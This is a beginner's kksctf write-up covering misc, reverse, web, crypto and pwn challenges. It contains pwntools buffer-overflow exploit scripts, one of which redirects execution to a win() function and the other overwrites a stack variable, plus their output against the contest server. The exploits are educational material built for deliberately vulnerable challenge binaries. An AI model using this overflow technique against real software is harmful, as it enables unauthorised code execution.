0%

kksctf writeup

This was my really first ctf competition in ctftimes, with my team name called Spwpun, and got the rank 71/392, that makes me feel happy. I’ve solved 8 challs, though they seemed like simple.

Misc

ru!e5p@g3

  • Description: Haven’t you read our rules?

As the Decription said, we could find the flag in rules:

image-20191230101913885

  • flag: kks{w3lcom3_to_0ur_ru!e5p@g3}

Xmas Tree

  • Description: Do you like to decorate the Christmas tree?

From the Description, and we could see a Xmas Tree in the right-down of the backgroud image. From the source code of this Xmas Tree, we could see there were several strange span elements, just like this:

image-20191230102845917

So flag may be these elements, use Python to get the all instaces:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def permutation(s,i):
coms = []
if i == len(s):
print "kks{"+''.join(s)+"$$}" #kks{n3w_y34r_m@dn3$$} new_year_madness
coms.append(s)
else:
for j in range(i,len(s)):
s[j],s[i] = s[i],s[j]
permutation(s,i+1)
s[j],s[i] = s[i],s[j]
return coms

s1 = "w_y"
s2 = "m@d"
s3 = "n3"
s4 = "n3"
s5 = "34r_"
strings = [s1, s2, s3, s4, s5]
combines = permutation(strings, 0)

And see the readable text:

image-20191230103632387

  • flag: kks{n3w_y34r_m@dn3$$}

Stego Warmup

  • Description: We get some file. Can you find secret?

We were given a file named “stego50.jpg”, at first I thought it was about LSB, so I used “StegoSolve.jar” to test, but failed. Then I solved it through “010 Editor”, the flag can be found by seraching text “kks” in it. If you used Linux, there will be another simple command with “strings”: strings stego50.jpg | grep kks.

  • flag: kks{just_s1ml3_st3g0}

Pwn

Baby buffer overflow

As the title said, this is a simple buffer overflow chall. It is friendly to beginners just like me, we were given a file named “baby_bof”.

First check the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(pwn) pwn@ubuntu:~/Documents/kksctf$ file baby_bof 
baby_bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=679ffb807feb7aef6982de068fe64bb6deb7fb0c, not stripped
(pwn) pwn@ubuntu:~/Documents/kksctf$ checksec baby_bof
[*] '/home/pwn/Documents/kksctf/baby_bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
(pwn) pwn@ubuntu:~/Documents/kksctf$ ./baby_bof
We have prepared a buffer overflow for you
Can you get use of it?
Enter your name: hahaha?
Hello, hahaha?!
(pwn) pwn@ubuntu:~/Documents/kksctf$

So open it with IDA32 and press “F5”, we could see the main function’s Pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-100h]

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("We have prepared a buffer overflow for you");
puts("Can you get use of it?");
printf("Enter your name: ");
read_wrapper(&s);
printf("Hello, %s!\n", &s);
return 0;
}

The program will ask your name to input, in function read_wrapper, it will use gets function to set the s‘s value to our input:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned int __cdecl read_wrapper(char *s)
{
size_t v1; // edx
unsigned int result; // eax
unsigned int i; // [esp+0h] [ebp-8h]

gets(s);
for ( i = 0; ; ++i )
{
v1 = strlen(s);
result = i;
if ( v1 <= i )
break;
if ( s[i] > '@' && s[i] <= 'Z' )
s[i] += 0x20;
}
return result;
}

According to this, there is no length limitation for s. And s‘s address is “ebp-100h”, so we can input data like a*0x100 + b*0x4 + jmp_addr to overwrite the return address, and we also can see this in IDA’s Stack Window.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-00000100 ; D/A/*   : change type (data/ascii/array)
-00000100 ; N : rename
-00000100 ; U : undefine
-00000100 ; Use data definition commands to create local variables and function arguments.
-00000100 ; Two special fields " r" and " s" represent return address and saved registers.
-00000100 ; Frame size: 100; Saved regs: 4; Purge: 0
-00000100 ;
-00000100
-00000100 s db ?
-000000FF db ? ; undefined
......
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 argc dd ?
+0000000C argv dd ? ; offset
+00000010 envp dd ? ; offset
+00000014
+00000014 ; end of stack variables

Another point is that we should find the jmp_addr, usually we should make it as the system("/bin/sh");, but in this chall, we can find a function named win():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl win(int a1)
{
char s; // [esp+3h] [ebp-25h]
FILE *stream; // [esp+20h] [ebp-8h]

stream = fopen("flag.txt", (const char *)&unk_8048830);// 'r'
if ( !stream )
return puts("flag not found");
fgets(&s, 29, stream);
if ( a1 != 0xCAFEBABE )
{
puts("Almost there :)");
exit(0);
}
return printf("Here it comes: %s\n", &s);
}

We could see this function will open current working directory’s file “flag.txt”, and check the argument “a1”, if “a1” equal to 0xCAFEBABE, then print the file contents, that’s flag.

We know that it should firstly push arguments to stack before normally calling a normal function, and the data we input will increase in stack, so the data we should construct is a*0x100 + b*0x4 + win_addr + call_before_next_ins_addr + p32(0xcafebabe), as the IDA shows, the win() function start address is 0x80485F6, so the last exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
# for kksctf-baby_bof
context.log_level = "debug"
sh = remote("tasks.open.kksctf.ru", 10002)
#sh = process("./baby_bof")
#gdb.attach(sh)

win_addr = 0x80485f6

payload = "a"*0x100 + "b"*0x04 + p32(win_addr) + p32(0x804850c) + p32(0xCAFEBABE)
sh.recvuntil("Enter your name: ")
sh.sendline(payload)
# pause() # to Debug
sh.interactive() #the last line should have, to keep seeing flag.

And run it in terminal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(pwn) pwn@ubuntu:~/Documents/kksctf$ python exp.py 
[+] Opening connection to tasks.open.kksctf.ru on port 10002: Done
[DEBUG] Received 0x2a bytes:
'We have prepared a buffer overflow for you'
[DEBUG] Received 0x29 bytes:
'\n'
'Can you get use of it?\n'
'Enter your name: '
[DEBUG] Sent 0x111 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 62 62 62 62 f6 85 04 08 0c 85 04 08 be ba fe ca │bbbb│····│····│····│
00000110 0a │·│
00000111
[*] Switching to interactive mode
[DEBUG] Received 0x119 bytes:
00000000 48 65 6c 6c 6f 2c 20 61 61 61 61 61 61 61 61 61 │Hell│o, a│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 62 62 62 62 f6 85 04 08 0c │aaaa│aaab│bbb·│····│
00000110 85 04 08 be ba fe ca 21 0a │····│···!│·│
00000119
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��\x0c\x85\x0\xbe\xba\xfe�!
[DEBUG] Received 0x7e bytes:
'Here it comes: kks{0v3rf10w_15_my_1!f3}\n'
'\n'
'/home/ctf/redir.sh: line 4: 74 Segmentation fault timeout -k 120 120 ./chall\n'
Here it comes: kks{0v3rf10w_15_my_1!f3}

/home/ctf/redir.sh: line 4: 74 Segmentation fault timeout -k 120 120 ./chall
[*] Got EOF while reading in interactive
$
  • flag: kks{0v3rf10w_15_my_1!f3}

insane pwn

This is a simple chall so I can solve it. Check the file:

1
2
3
4
5
6
7
8
9
10
11
(pwn) pwn@ubuntu:~/Documents/kksctf$ file insane_pwn 
insane_pwn: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=fd8cb6b2a59db247f16c14859388e6925385e541, not stripped
(pwn) pwn@ubuntu:~/Documents/kksctf$ checksec insane_pwn
[*] '/home/pwn/Documents/kksctf/insane_pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
(pwn) pwn@ubuntu:~/Documents/kksctf$

It seems all protection are enabled, but let’s look it in IDA. Here is its main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+8h] [ebp-114h]
int v5; // [esp+10Ch] [ebp-10h]
unsigned int v6; // [esp+110h] [ebp-Ch]
int *v7; // [esp+114h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
v5 = 0xDEADBEEF;
puts("Hello! I am x86 vulnerable programm and have and inner buffer size of 256 bites");
puts("Can you lead me to segmentation fault please?");
fgets(&s, 0x108, stdin);
if ( v5 == 0xDEADBEEF )
puts("Hit me harder!");
else
print_flag();
return 0;
}

Clearly, we can see if the v5 variable is not equal to 0xDEADBEEF, then it will go to print_flag func to print flag. But the code above set v5 to 0xDEADBEEF, and we also could see that func truely print flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int print_flag()
{
FILE *stream; // [esp+8h] [ebp-30h]
char s; // [esp+Fh] [ebp-29h]
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Thank you! you can have your flag: ");
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(&s, 29, stream);
puts(&s);
fclose(stream);
}
else
{
puts("flag not found");
}
return __readgsdword(0x14u) ^ v3;
}

So our target is to input something to overflow the v5 variable. According to main func, we know that s variable is in [ebp-114h], and v5 variable is in [ebp-10h], so their distance is 0x104. Main func use fgets func to get our input, and it has length limitation(0x108), therefore our payload will be 'a'*0x104 + 'aa', then the v5 variable will be 0xCAFE6161. So the last exploit is:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# for kksctf-insane_pwn
context.log_level = "debug"
sh = remote("tasks.open.kksctf.ru", 10003)
#sh = process("./insane_pwn")
#gdb.attach(sh)

payload = "a"*0x104 + "aa"
sh.recvuntil("Can you lead me to segmentation fault please?")
sh.sendline(payload)
sh.interactive()

And the result is:

flag

  • flag: kks{W0w_th15_w@5_4w350m3}

Reverse

Buffalo reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+Ch] [rbp-94h]
char v5[32]; // [rsp+10h] [rbp-90h]
char s[104]; // [rsp+30h] [rbp-70h]
unsigned __int64 v7; // [rsp+98h] [rbp-8h]

v7 = __readfsqword(0x28u);
printf("Please, enter password for decryption: ", argv, envp);
__isoc99_scanf("%s", s);
if ( strlen(s) == 8 )
{
puts("Decrypting, please wait...");
for ( i = 0; i <= 17; ++i )
{
v5[i] = crypto_data[i] ^ s[i % 8];
printf(
"0x%02x ^ 0x%02x = 0x%02x %c\n",
crypto_data[i],
(unsigned __int8)s[i % 8],
(unsigned __int8)v5[i],
(unsigned __int8)v5[i]);
sleep(1u);
}
printf("Your flag is: %s\n", v5);
}
else
{
puts("Password don't match.");
}
return 0;
}

Easy to understand, it’s xor decrypt. But the password needs us to brute, the description said the flag is embeed with brackets, so we can guess the last character is “}”, because the key length is 8, so we can expand and then know the flag is like “*l*******b*******}“, we can guess the first 5 characters are “flag{“, so the flag is like “flag{***_brut***e}“, but then we couldn’t get more, and now we know the key is “deadb***”. At last we need to read the description again, it said:

Buffalo dead while reversing this task.

there is a brainfuck idea: dead buffalo, so the key is “deadbeef”, and that’s an interesting value.

So the flag:

TIM截图20191228175539

Xmas Tree 2

It gives us the source code, and it get a value from argv[1], that’s the main function’s first parameter. And then check the value with 5 if conditions, if all are right, then print the flag through decoding.

1
2
3
4
5
6
7
8
9
int main (int argc, char** argv) {
char data_1[20] = "_a""cd""eh""ik""lm""no""pr""su""wy""\0";
if (argc < 2) return 1;
int key = atoi (argv[1]);
if (((unsigned char*)&key)[0] == 0xAF) {
if (((short*)&key)[1] == 0x3174) {
if (((key >> 22) & 0xFF) == 0xC5) {
if (*(((char*)((&key) + 2)) - 7) == 0x19) {
if (((((short*)(((char*)(&key)) + 13) - 5)[0] >> 0) & 0xff) == 0x31) {

It’s easy to get the value from these 5 if conditions, the first byte is 0xAF, and the last 2 bytes’ value is 0x3174, the second byte is 0x19, and it’s little endian code, so the value is 0x317419AF, this value moves to right in 22 bits, also satisfy the third codition 0xC5, the last condition mean the last byte is 0x31, I seems like that:

IMG_20200103_211413

And finally, 0x317419AF convert to decimal is 829692335, the flag is:

1
2
3
4
5
6
7
8
9
$ gcc task_tree.c

name@Desktop /cygdrive/e/kksctf/reverse/Xmas Tree 2
$ ./a.exe 829692335
kks{c_is_simple_only_when_you_are_drunk}

name@Desktop /cygdrive/e/kksctf/reverse/Xmas Tree 2
$

  • flag: kks{c_is_simple_only_when_you_are_drunk}

Web

Postman

Find the directory /postbox in robots.txt, then change the method from GET to POST, then you can get the flag.

flag

  • flag: kks{thanks_f0r_m@1l}

Crypto

Every day I’m shuffling

I didn’t solved this chall because I used python2 to reverse it, then I can’t find the seed. You should use python3 and linux to reverse it, because some byte code way’s diffenert. The last solve.py is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin python3
# coding: utf-8
# For kksctf-shufflout.py

from random import *
import sys

def Shuffle(p, data):
buf = list(data)
for i in range(len(data)):
buf[i] = data[p[i]]
return ''.join(buf)

def reverse_index(p):
ans = [-1 for i in range(len(p))]
for i in range(len(p)):
ans[p[i]] = i
return ans

def main():
file_name = "message_from_above"
for i in range(1, 19):
seed(i)
file_name_list = list(file_name)
shuffle(file_name_list)
shuffle_name = ''.join(file_name_list)
if shuffle_name == "fsegovs_meaoerbma_":
print ("seed:", i)
break
# The above show the seed is 3
data = open('fsegovs_meaoerbma_.txt', 'r').read()
p = list(range(len(data))) # get the same permuation
shuffle(p)
p = reverse_index(p)
data = Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,Shuffle(p,data))))))))))))))))))))))))))))))))))))))))
out = open('origin.txt', 'w')
out.write(''.join(data))
out.close()

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ python3.7 shufllout.py
seed: 3
$ cat origin.txt
Once upon a midnight dreary, while I pondered, weak and weary,
Over many a quaint and curious volume of forgotten lore—
While I nodded, nearly napping, suddenly there came a tapping,
As of some one gently rapping, rapping at my chamber door.
“’Tis some visitor,” I muttered, “tapping at my chamber door—
Only this and nothing more.”

Ah, distinctly I remember it was in the bleak December;
And each separate dying ember wrought its ghost upon the floor.
Eagerly I wished the morrow;—vainly I had sought to borrow
From my books surcease of sorrow—sorrow for the lost Lenore—
For the rare and radiant maiden whom the angels name Lenore—
Nameless here for evermore.

And the silken, sad, uncertain rustling of each purple curtain
Thrilled me—filled me with fantastic terrors never felt before;
So that now, to still the beating of my heart, I stood repeating
“’Tis some visitor entreating entrance at my chamber door—
Some late visitor entreating entrance at my chamber door;—
This it is and nothing more.”

Presently my soul grew stronger; hesitating then no longer,
“Sir,” said I, “or Madam, truly your forgiveness I implore;
But the fact is I was napping, and so gently you came rapping,
And so faintly you came tapping, tapping at my chamber door,
That I scarce was sure I heard you”—here I opened wide the door;—
Darkness there and nothing more.

Deep into that darkness peering, long I stood there wondering, fearing,
Doubting, dreaming dreams no mortal ever dared to dream before;
But the silence was unbroken, and the stillness gave no token,
And the only word there spoken was the whispered word, “Lenore?”
This I whispered, and an echo murmured back the word, “Lenore!”—
Merely this and nothing more.

Back into the chamber turning, all my soul within me burning,
Soon again I heard a tapping somewhat louder than before.
“Surely,” said I, “surely that is something at my window lattice;
Let me see, then, what thereat is, and this mystery explore—
Let my heart be still a moment and this mystery explore;—
’Tis the wind and nothing more!”

Open here I flung the shutter, when, with many a flirt and flutter,
In there stepped a stately Raven of the saintly days of yore;
Not the least obeisance made he; not a minute stopped or stayed he;
But, with mien of lord or lady, perched above my chamber door—
Perched upon a bust of Pallas just above my chamber door—
Perched, and sat, and nothing more.

Then this ebony bird beguiling my sad fancy into smiling,
By the grave and stern decorum of the countenance it wore,
“Though thy crest be shorn and shaven, thou,” I said, “art sure no craven,
Ghastly grim and ancient Raven wandering from the Nightly shore—
Tell me what thy lordly name is on the Night’s Plutonian shore!”
Quoth the Raven “kks{5huffl3_5huffl3_5huffl3}”

  • flag: kks{5huffl3_5huffl3_5huffl3}